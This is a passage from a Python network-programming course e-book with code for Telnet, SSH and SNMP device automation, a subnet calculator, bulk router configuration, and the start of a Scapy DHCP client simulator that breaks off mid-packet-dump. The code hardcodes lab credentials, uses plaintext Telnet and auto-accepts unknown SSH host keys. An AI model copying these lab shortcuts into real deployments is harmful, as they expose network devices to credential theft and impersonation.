1
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
Python yth on Ne Network tw ork Programming Programmin g by Mihai Cătălin Teodosiu, CCNP, Udemy & GNS3 Academy Instructor
Page 1 of 185
2
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
1. What’s this docum ent all all about? Note: Note: This e-book is a comprehensive guide containing all the applications developed throughout my Python Network Programming courses: “Python Network Programming - Part 1: Build 7 Python Apps” , “Python Network Programming - Part Part 2: Multi vendor & “Python Network Programming - Part 3: Scapy & Security Tools” . Environment” & Note: Note: This document is intended for students enrolled in all three courses and is distributed for personal use only. The distribution of this material to people not enrolled in the “Python Network Programming” course serie s is strictly prohibit ed and is subject to copyright infringement. The author of this document is entitled to invoke legal and technological measures to prevent and penalize copyright infringement. More information here: https://en.wikipedia.org/wiki/Copyright_infringement
IMPORTANT, BEFORE YOU CONTINUE! All the code, code, scripts and applications applications are are explained, explained, turned turned into working working applications applications and tested inside the course. For detailed explanations and testing, please see the course sections referenced by each application below. Pay attention to comments in the code! Page 2 of 185
3
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2. Python Networ Networ k Programming - Pa Part 1: Build 7 Python Python Apps NOTE! Python programming knowledge is required in order to understand the network automation applications below. Learn Python from scratch inside the video course series!
2.1. 2.1. Teln Telnet et wi th Python (template (template onl y, reference: reference: Section 11. 11. Python Networ Networ king)
#Open telnet connection to devices def open_telnet_conn(ip): #Change exception message try: #Define telnet parameters username = 'teopy' password = 'python' TELNET_PORT TELNET_PORT = 23 TELNET_TIMEOUT = 5 READ_TIMEOUT = 5 #Logging into device connection = telnetlib.Telnet(ip, TELNET_PORT, TELNET_TIMEOUT) output = connection.read_until("name:", READ_TIMEOUT) connection.write(username + "\n") output = connection.read_until("word:", READ_TIMEOUT) connection.write(password + "\n") time.sleep(1) #Setting terminal length for entire output - no pagination connection.write("terminal length 0\n") time.sleep(1) #Entering global config mode connection.write("\n") connection.write("configure terminal\n") time.sleep(1) #Open user selected file for reading selected_cmd_file = open(cmd_file, 'r') #Starting from the beginning of the file selected_cmd_file.seek(0) #Writing each line in the file to the device for each_line in selected_cmd_file.readlines(): connection.write(each_line + '\n') time.sleep(1)
Page 3 of 185
4
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Closing the file selected_cmd_file.close() #Test for reading command output #output = connection.read_very_eager() #print output #Closing the connection connection.close() except IOError: print "Input parameter error! Please check username, password and file name." #Calling the Telnet function open_telnet_conn(ip)
Page 4 of 185
5
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.2. 2.2. SSH SSH with wi th Python Pyth on (template (template onl y, reference: reference: Section 11. 11. Python Networ Networ king)
#Open SSHv2 connection to devices def open_ssh_conn(ip): #Change exception message try: #Define SSH parameters selected_user_file = open(user_file, 'r') #Starting from the beginning of the file selected_user_file.seek(0) username = selected_user_file.readlines()[0].split(',')[0] #Starting from the beginning of the file selected_user_file.seek(0) password = selected_user_file.readlines()[0].split(',')[1] #Logging into device session = paramiko.SSHClient() session.set_missing_host_key_policy( paramiko.AutoAddPolicy()) session.connect(ip, username = username, password = password) connection = session.invoke_shell() #Setting terminal length for entire output - no pagination connection.send("terminal length 0\n") time.sleep(1) #Entering global config mode connection.send("\n") connection.send("configure terminal\n") time.sleep(1) #Open user selected file for reading selected_cmd_file = open(cmd_file, 'r') #Starting from the beginning of the file selected_cmd_file.seek(0) #Writing each line in the file to the device for each_line in selected_cmd_file.readlines(): connection.send(each_line + '\n') time.sleep(2)
Page 5 of 185
6
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Closing the user file selected_user_file.close() #Closing the command file selected_cmd_file.close() #Checking command output for IOS syntax errors output = connection.recv(65535) if re.search(r"% Invalid input detected at", output): print "* There was at least one IOS syntax error on device %s" % ip else: print "\nDONE for device %s" % ip #Test for reading command output #print output + "\n" #Closing the connection session.close() except paramiko.AuthenticationException: print "* Invalid username or password. \n* Please check the username/password file or the device configuration!" print "* Closing program...\n" #Calling the SSH function open_ssh_conn(ip)
Page 6 of 185
7
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.3. 2.3. SNMP SNMP w ith it h Python Pyth on (template (template onl y, reference: reference: Section 11. 11. Python Networ Networ king)
#!/usr/bin/env #!/usr/bin/env python from pysnmp.entity.rfc3413.oneliner import cmdgen #SNMP function def snmp_get(ip): #Creating command generator object cmdGen = cmdgen.CommandGenerator() #Performing SNMP GETNEXT operations on the OSPF OIDs #The basic syntax of nextCmd: nextCmd(authData, transportTarget, *varNames) #The nextCmd method returns a tuple of (errorIndication, errorStatus, errorIndex, varBindTable) errorIndication, errorStatus, errorIndex, varBindNbrTable = cmdGen.nextCmd(cmdgen.CommunityData(comm), cmdgen.UdpTransportTarget((ip, 161)), '1.3.6.1.2.1.14.10.1.3') #print cmdGen.nextCmd(cmdgen.CommunityData(comm),cmdgen.UdpTransportTarget((ip, 161)),'1.3.6.1.2.1.14.10.1.3') #print varBindNbrTable errorIndication, errorStatus, errorIndex, varBindNbrIpTable = cmdGen.nextCmd(cmdgen.CommunityData(comm), cmdgen.UdpTransportTarget((ip, 161)), '1.3.6.1.2.1.14.10.1.1') #print varBindNbrIpTable errorIndication, errorStatus, errorIndex, varBindHostTable = cmdGen.nextCmd(cmdgen.CommunityData(comm), cmdgen.UdpTransportTarget((ip, 161)), '1.3.6.1.4.1.9.2.1.3') #print varBindHostTable Page 7 of 185
8
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
errorIndication, errorStatus, errorIndex, varBindHostIdTable = cmdGen.nextCmd(cmdgen.CommunityData(comm), cmdgen.UdpTransportTarget((ip, 161)), '1.3.6.1.2.1.14.1.1') #print varBindHostIdTable
Page 8 of 185
9
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.4. 2.4. Appl ication icati on #1 - Basic s ubn et calc calculator ulator (full c ode, reference: reference: Section Section 13. 13. Applic ation #1 - Basic subn et calculator)
Logic al flow diagram diagram
Page 9 of 185
10
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
############# Application #1 - Part #1 ############# import random import sys def subnet_calc(): try: print "\n" #Checking IP address validity while True: ip_address = raw_input("Enter an IP address: ") #Checking octets a = ip_address.split('.') if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) != 127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255 and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255): break else: print "\nThe IP address is INVALID! Please retry!\n" continue masks = [255, 254, 252, 248, 240, 224, 192, 128, 0] #Checking Subnet Mask validity while True: subnet_mask = raw_input("Enter a subnet mask: ") #Checking octets b = subnet_mask.split('.') if (len(b) == 4) and (int(b[0]) == 255) and (int(b[1]) in masks) and (int(b[2]) in masks) and (int(b[3]) in masks) and (int(b[0]) >= int(b[1]) >= int(b[2]) >= int(b[3])): break else: print "\nThe subnet mask is INVALID! Please retry!\n" continue ############# Application #1 - Part #2 ############# #Algorithm for subnet identification, based on IP and Subnet Mask #Convert mask to binary string mask_octets_padded = [] mask_octets_decimal = subnet_mask.split(".") #print mask_octets_decimal for octet_index in range(0, len(mask_octets_decimal)):
Page 10 of 185
11
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#print bin(int(mask_octets_decimal[octet_index])) binary_octet = bin(int(mask_octets_decimal[octet_index])).split("b")[1] #print binary_octet if len(binary_octet len(binary_octet) ) == 8: mask_octets_padded.append(binary_octet) elif len(binary_octet) < 8: binary_octet_padded = binary_octet.zfill(8) mask_octets_padded.append(binary_octet_padded) #print mask_octets_padded decimal_mask = "".join(mask_octets_padded) #print decimal_mask #Example: for 255.255.255.0 => 11111111111111111111111100000000 #Counting host bits in the mask and calculating number of hosts/subnet no_of_zeros = decimal_mask.count("0") no_of_ones = 32 - no_of_zeros no_of_hosts = abs(2 ** no_of_zeros - 2) #return positive value for mask /32 #print no_of_zeros #print no_of_ones #print no_of_hosts #Obtaining wildcard mask wildcard_octets = [] for w_octet in mask_octets_decimal: wild_octet = 255 - int(w_octet) wildcard_octets.append(str(wild_octet)) #print wildcard_octets wildcard_mask = ".".join(wildcard_octets) #print wildcard_mask ############# Application #1 - Part #3 ############# #Convert IP to binary string ip_octets_padded = [] ip_octets_decimal = ip_address.split(".") for octet_index in range(0, len(ip_octets_decimal)): binary_octet = bin(int(ip_octets_decimal[octet_index])).split("b")[1] if len(binary_octet) < 8: binary_octet_padded = binary_octet.zfill(8) Page 11 of 185
12
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
ip_octets_padded.append(binary_octet_padded) else: ip_octets_padded.append(binary_octet) #print ip_octets_padded binary_ip = "".join(ip_octets_padded) #print binary_ip #Example: for 192.168.2.100 => 11000000101010000000001001100100 #Obtain the network address and broadcast address from the binary strings obtained above network_address_bina network_address_binary ry = binary_ip[:(no_of_ones binary_ip[:(no_of_ones)] )] + "0" * no_of_zeros #print network_address_binary broadcast_address_binary = binary_ip[:(no_of_ones)] + "1" * no_of_zeros #print broadcast_address_binary net_ip_octets = [] for octet in range(0, len(network_address_binary), 8): net_ip_octet = network_address_binary[octet:octet+8] net_ip_octets.append(net_ip_octet) #print net_ip_octets net_ip_address = [] for each_octet in net_ip_octets: net_ip_address.append(str(int(each_octet, 2))) #print net_ip_address network_address = ".".join(net_ip_address) #print network_address bst_ip_octets = [] for octet in range(0, len(broadcast_address_binary), 8): bst_ip_octet = broadcast_address_binary[octet:octet+8] bst_ip_octets.append(bst_ip_octet) #print bst_ip_octets bst_ip_address = [] for each_octet in bst_ip_octets: bst_ip_address.append(str(int(each_octet, 2))) #print bst_ip_address broadcast_address = ".".join(bst_ip_address) #print broadcast_address Page 12 of 185
13
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Results for selected IP/mask print "\n" print "Network address is: %s" % network_address print "Broadcast address is: %s" % broadcast_address print "Number of valid hosts per subnet: %s" % no_of_hosts print "Wildcard mask: %s" % wildcard_mask print "Mask bits: %s" % no_of_ones print "\n" ############# Application #1 - Part #4 ############# #Generation of random IP in subnet while True: generate = raw_input("Generate random ip address from subnet? (y/n)") if generate == "y": generated_ip = [] #Obtain available IP address in range, based on the difference between octets in broadcast address and network address for indexb, oct_bst in enumerate(bst_ip_address): #print indexb, oct_bst for indexn, oct_net in enumerate(net_ip_address): #print indexn, oct_net if indexb == indexn: if oct_bst == oct_net: #Add identical octets to the generated_ip list generated_ip.append(oct_bst) else: #Generate random number(s) from within octet intervals and append to the list generated_ip.append(str(random.randint(int(oct_net),
int(oct_bst))))
#IP address generated from the subnet pool #print generated_ip y_iaddr = ".".join(generated_ip) #print y_iaddr print "Random IP address is: %s" % y_iaddr print "\n" continue else: print "Ok, bye!\n" break except KeyboardInterrupt: print "\n\nProgram aborted by user. Exiting...\n" sys.exit()
Page 13 of 185
14
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Calling the function subnet_calc()
Page 14 of 185
15
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.5. Application #2 – SSH/Telnet network configuration (full code, reference: configuration)
Section
14.
Application
Logic al flow diagram diagram
Page 15 of 185
#2 – SSH/Telnet network
16
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.5. 2.5.1. 1. SSH SSH netwo network rk c onfigu onf iguratio ration n
############# Application #2 - Part #1 ############# import import import import import import import
paramiko threading os.path subprocess time sys re
#Checking IP address file and content validity def ip_is_valid(): check = False global ip_list while True: #Prompting user for input print "\n# # # # # # # # # # # # # # # # # # # # # # # # # # # #\n" ip_file = raw_input("# Enter IP file name and extension: ") print "\n# # # # # # # # # # # # # # # # # # # # # # # # # # # #" #Changing exception message try: #Open user selected file for reading (IP addresses file) selected_ip_file = open(ip_file, 'r') #Starting from the beginning of the file selected_ip_file.seek(0) #Reading each line (IP address) in the file ip_list = selected_ip_file.readlines() #Closing the file selected_ip_file.close() except IOError: print "\n* File %s does not exist! Please check and try again!\n" % ip_file #Checking octets for ip in ip_list: a = ip.split('.') if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) != 127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255 and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255): check = True Page 16 of 185
17
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
break else: print '\n* There was an INVALID IP address! Please check and try again!\n' check = False continue #Evaluating the 'check' flag if check == False: continue elif check == True: break ############# Application #2 - Part #2 ############# #Checking IP reachability print "\n* Checking IP reachability. Please wait...\n" check2 = False while True: for ip in ip_list: ping_reply = subprocess.call(['ping', '-c', '2', '-w', '2', 'q', '-n', ip]) if ping_reply == 0: check2 = True continue elif ping_reply == 2: print "\n* No response from device %s." % ip check2 = False break else: print "\n* Ping to the following device has FAILED:", ip check2 = False break #Evaluating the 'check' flag if check2 == False: print "* Please re-check IP address list or device.\n" ip_is_valid() elif check2 == True: print '\n* All devices are reachable. Waiting for username/password file...\n' break #Checking user file validity def user_is_valid(): global user_file Page 17 of 185
18
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
while True: print "# # # # # # # # # # # # # # # # # # # # # # # # # # # #\n" user_file = raw_input("# Enter user/pass file name and extension: ") print "\n# # # # # # # # # # # # # # # # # # # # # # # # # # # #" #Changing output messages if os.path.isfile(user_file) == True: print "\n* Username/password file has been validated. Waiting for command file...\n" break else: print "\n* File %s does not exist! Please check and try again!\n" % user_file continue #Checking command file validity def cmd_is_valid(): global cmd_file while True: print "\n\n# # # # # # # # # # # # # # # # # # # # # # # # # # # #\n" cmd_file = raw_input("# Enter command file name and extension: ") print "\n# # # # # # # # # # # # # # # # # # # # # # # # # # # #" #Changing output messages if os.path.isfile(cmd_file) == True: print "\n* Sending command(s) to device(s)...\n" break else: print "\n* File %s does not exist! Please check and try again!\n" % cmd_file continue #Change exception message try: #Calling IP validity function ip_is_valid() except KeyboardInterrupt: print "\n\n* Program aborted by user. Exiting...\n" sys.exit() #Change exception message try: #Calling user file validity function user_is_valid() except KeyboardInterrupt: print "\n\n* Program aborted by user. Exiting...\n" Page 18 of 185
19
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
sys.exit() #Change exception message try: #Calling command file validity function cmd_is_valid() except KeyboardInterrupt: print "\n\n* Program aborted by user. Exiting...\n" sys.exit() ############# Application #2 - Part #3 ############# #Open SSHv2 connection to devices def open_ssh_conn(ip): #Change exception message try: #Define SSH parameters selected_user_file = open(user_file, 'r') #Starting from the beginning of the file selected_user_file.seek(0) #Reading the username from the file username = selected_user_file.readlines()[0].split(',')[0] #Starting from the beginning of the file selected_user_file.seek(0) #Reading the password from the file password = selected_user_file.readlines()[0].split(',')[1].rstrip("\n") #Logging into device session = paramiko.SSHClient() #For testing purposes, this allows auto-accepting unknown host keys #Do not use in production! The default would be RejectPolicy session.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #Connect to the device using username and password session.connect(ip, username = username, password = password) #Start an interactive shell session on the router connection = session.invoke_shell() #Setting terminal length for entire output - disable pagination connection.send("terminal length 0\n") time.sleep(1) #Entering global config mode connection.send("\n") connection.send("configure terminal\n") Page 19 of 185
20
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
time.sleep(1) #Open user selected file for reading selected_cmd_file = open(cmd_file, 'r') #Starting from the beginning of the file selected_cmd_file.seek(0) #Writing each line in the file to the device for each_line in selected_cmd_file.readlines(): connection.send(each_line + '\n') time.sleep(2) #Closing the user file selected_user_file.close() #Closing the command file selected_cmd_file.close() #Checking command output for IOS syntax errors router_output = connection.recv(65535) if re.search(r"% Invalid input detected at", router_output): print "* There was at least one IOS syntax error on device %s" % ip else: print "\nDONE for device %s" % ip #Test for reading command output #print router_output + "\n" #Closing the connection session.close() except paramiko.AuthenticationException: print "* Invalid username or password. \n* Please check the username/password file or the device configuration!" print "* Closing program...\n" ############# Application #2 - Part #4 ############# #Creating threads def create_threads(): threads = [] for ip in ip_list: th = threading.Thread(target = open_ssh_conn, args = (ip,)) #args is a tuple with a single element th.start() threads.append(th) for th in threads: th.join()
Page 20 of 185
21
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Calling threads creation function create_threads() #End of program
Page 21 of 185
22
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.5.2. Telnet network configuration
#!/usr/bin/env #!/usr/bin/env python import import import import import import
telnetlib threading os.path subprocess time sys
#Checking IP address validity def ip_is_valid(): check = False global ip_list while True: #Prompting user for input ip_file = raw_input("Enter IP file name and extension: ") #Changing exception message try: #Open user selected file for reading (IP addresses file) selected_ip_file = open(ip_file, 'r') #Starting from the beginning of the file selected_ip_file.seek(0) #Reading each line (IP address) in the file ip_list = selected_ip_file.readlines() #Closing the file selected_ip_file.close() except IOError: print "\nFile %s does not exist! Please check and try again!\n" % ip_file #Checking octets for ip in ip_list: a = ip.split('.') if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) != 127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255 and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255): check = True break else:
Page 22 of 185
23
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print '\n* There was an INVALID IP address! Please check and try again!\n' check = False continue #Evaluating the 'check' flag if check == False: continue elif check == True: break #Checking IP reachability print "\nChecking IP reachability...\n" check2 = False while True: for ip in ip_list: ping_reply = subprocess.call(['ping', '-c', '3', '-w', '3', 'q', '-n', ip]) if ping_reply == 0: check2 = True continue elif ping_reply == 2: print "\nNo response from device %s." % ip check2 = False break else: print "\nPing to the following device has FAILED:", ip check2 = False break #Evaluating the 'check' flag if check2 == False: print "Please re-check IP address list or device.\n" ip_is_valid() elif check2 == True: print '\nAll devices are reachable. Waiting for command file...\n' break #Checking command file validity def cmd_is_valid(): global cmd_file while True: cmd_file = raw_input("Enter command file name and extension: ") #Changing exception message Page 23 of 185
24
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
if os.path.isfile(cmd_file) == True: print "\nSending command(s) to device(s)...\n" break else: print "\nFile %s does not exist! Please check and try again!\n" % cmd_file continue #Change exception message try: #Calling IP validity function ip_is_valid() except KeyboardInterrupt: print "\n\nProgram aborted by user. Exiting...\n" sys.exit() #Change exception message try: #Calling command file validity function cmd_is_valid() except KeyboardInterrupt: print "\n\nProgram aborted by user. Exiting...\n" sys.exit() #Open telnet connection to devices def open_telnet_conn(ip): #Change exception message try: #Define telnet parameters username = 'teopy' password = 'python' #Specify the Telnet port (default is 23, anyway) port = 23 #Specify the connection timeout in seconds for blocking operations, like the connection attempt connection_timeout = 5 #Specify a timeout in seconds. Read until the string is found or until the timout has passed reading_timeout = 5 #Logging into device connection = telnetlib.Telnet(ip, port, connection_timeout) #Waiting to be asked for an username router_output = connection.read_until("Username:", reading_timeout) #Enter the username when asked and a "\n" for Enter Page 24 of 185
25
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
connection.write(username + "\n") #Waiting to be asked for a password router_output = connection.read_until("Password:", reading_timeout) #Enter the password when asked and a "\n" for Enter connection.write(password + "\n") time.sleep(1) #Setting terminal length for the entire output - disabling pagination connection.write("terminal length 0\n") time.sleep(1) #Entering global config mode connection.write("\n") connection.write("configure terminal\n") time.sleep(1) #Open user selected file for reading selected_cmd_file = open(cmd_file, 'r') #Starting from the beginning of the file selected_cmd_file.seek(0) #Writing each line in the file to the device for each_line in selected_cmd_file.readlines(): connection.write(each_line + '\n') time.sleep(1) #Closing the file selected_cmd_file.close() #Test for reading command output #router_output = connection.read_very_eager() #print router_output #Closing the connection connection.close() except IOError: print "Input parameter error! Please check username, password and file name." #Creating threads def create_threads(): threads = [] for ip in ip_list: th = threading.Thread(target = open_telnet_conn, args = (ip,)) #args is a tuple with a single element th.start() threads.append(th)
Page 25 of 185
26
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
for th in threads: th.join() #Calling threads creation function create_threads() #End of program
Page 26 of 185
27
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.6. 2.6. Appl ication icati on #3 - DHCP DHCP cli ent si mul ator (full code, reference: Section 15. Application #3 - DHCP client simulator)
Logic al flow diagram diagram
Page 27 of 185
28
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
############# Application #3 - Part #1 ############# #DHCP client simulator #In scapy interactive mode - DHCP packets: ''' 'Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP' DHCP DISCOVER: 'Ether(src=\'08:00:27:f9:51:87\', dst=\'ff:ff:ff:ff:ff:ff\', type=2048)/IP(frag=0L, src=\'0.0.0.0\', proto=17, tos=16, dst=\'255.255.255.255\', chksum=14742, len=328, options=[], version=4L, flags=0L, ihl=5L, ttl=128, id=0)/UDP(dport=67, sport=68, len=308, chksum=47898)/BOOTP(hlen=6, sname=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0 0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00\\x00\\x00\', xid=398202904, ciaddr=\'0.0.0.0\', hops=0, giaddr=\'0.0.0.0\', giaddr=\'0.0.0.0\', chaddr="\\x08\\x00\'\\xf9Q\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00", yiaddr=\'0.0.0.0\', secs=0, flags=0L, htype=1, file=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\ x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0 0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\ x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\', siaddr=\'0.0.0.0\', options=\'c\\x82Sc\', op=1)/DHCP(options=[(\'messagetype\', 1), (\'hostname\', \'kali-teo\'), (\'param_req_list\', \'\\x01\\x1c\\x02\\x03\\x0f\\x06w\\x0c,/\\x1ay*\'), \'end\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\'])' DHCP OFFER: 'Ether(src=\'c0:04:1a:5c:00:01\', dst=\'08:00:27:f9:51:87\', type=2048)/IP(frag=0L, src=\'192.168.2.111\', proto=17, tos=0, dst=\'192.168.2.1\', chksum=13540, len=328, options=[], version=4L, flags=0L, ihl=5L, ttl=255, id=0)/UDP(dport=68, sport=67, len=308, chksum=19350)/BOOTP(hlen=6, sname=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0 0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00\\x00\\x00\', xid=398202904, ciaddr=\'0.0.0.0\', hops=0, giaddr=\'0.0.0.0\', giaddr=\'0.0.0.0\', chaddr="\\x08\\x00\'\\xf9Q\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00", yiaddr=\'192.168.2.1\', secs=0, flags=0L, htype=1, file=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\ Page 28 of 185
29
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0 0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\ x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\', siaddr=\'0.0.0.0\', options=\'c\\x82Sc\', op=2)/DHCP(options=[(\'messagetype\', 2), (\'server_id\', \'192.168.2.111\'), (\'lease_time\', 86400), (\'renewal_time\', 43200), (\'rebinding_time\', 75600), (\'subnet_mask\', \'255.255.255.0\'), \'end\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\'])' DHCP OFFER (more options): 'Ether(src='ca:04:15:ec:00:08', dst='00:00:5e:4a:a3:fe', type=2048)/IP(frag=0L, src='192.168.2.111', proto=17, tos=0, dst='192.168.2.236', chksum=9573, len=328, options=[], version=4L, flags=0L, ihl=5L, ttl=255, id=3732)/UDP(dport=68, sport=67, len=308, chksum=3558)/BOOTP(hlen=6, sname='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\ x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0 0\\x00\\x00\\x00\\x00\\x00\\x00', xid=868370, ciaddr='0.0.0.0', hops=0, giaddr='0.0.0.0', chaddr='\\x00\\x00^J\\xa3\\xfe\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0 0\\x00', yiaddr='192.168.2.236', secs=0, flags=0L, htype=1, file='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\ x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0 0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\ x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', siaddr='0.0.0.0', options='c\\x82Sc', op=2)/DHCP(options=[('message-type', 2), ('server_id', '192.168.2.111'), ('lease_time', 86400), ('renewal_time', 43200), ('rebinding_time', 75600), ('subnet_mask', '255.255.255.0'), ('router', '192.168.2.254'), 'end', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad'])' DHCP REQUEST: 'Ether(src=\'08:00:27:f9:51:87\', dst=\'ff:ff:ff:ff:ff:ff\', type=2048)/IP(frag=0L, src=\'0.0.0.0\', proto=17, tos=16, dst=\'255.255.255.255\', chksum=14742, len=328, options=[], version=4L, flags=0L, ihl=5L, ttl=128, id=0)/UDP(dport=67, sport=68, len=308, chksum=61228)/BOOTP(hlen=6, sname=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ 